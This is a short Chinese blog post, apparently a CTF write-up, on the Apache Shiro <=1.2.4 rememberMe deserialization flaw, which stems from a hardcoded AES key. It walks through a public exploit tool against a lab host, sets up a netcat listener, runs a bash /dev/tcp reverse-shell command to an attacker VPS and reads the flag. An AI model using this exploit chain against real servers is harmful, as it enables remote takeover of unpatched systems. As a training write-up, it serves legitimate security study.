Shiro-550反序列化漏洞

发布于 2023-11-06  96 次阅读


Apache shiro是一个java安全框架,在Apache Shiro <=1.2.4版本出现shiro rememberme反序列化漏洞。

特征:返回包中含有rememberMe=deleteMe字段

原理:在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。

做一个题目

image-20220415204426026

使用一个工具,Github项目地址:shiro-1.2.4-rce

下载工具后用以下命令

python3 .\shiro-1.2.4_rce.py http://10.1.5.252:28078/penson/

image-20220415204807230

出现此提示即为成功

image-20220415204931836

两个选择,选择linux进行弹Shell不需要bash编码,选择windows则需要bash编码

linux:

选择linux

在vps中

nc -lvp 6666

监听6666端口接收弹Shell

image-20220415205331261

输入弹Shell命令

bash -i >&/dev/tcp/[vpsip]/6666 0>&1

image-20220415205512148

image-20220415205537571

选择linux时,工具会自动进行编码

成功弹Shell

image-20220415205623356

cat /flag

得到flag

Windows:

选择Windows时,工具则不会自动编码,需要手动编码,使用转换网站

image-20220415210036402

复制编码后的命令进行弹Shell

image-20220415210228167

image-20220415210250153

成功弹Shell

cat /flag

得到flag

已经有太多美好从身边流逝......
最后更新于 2023-11-06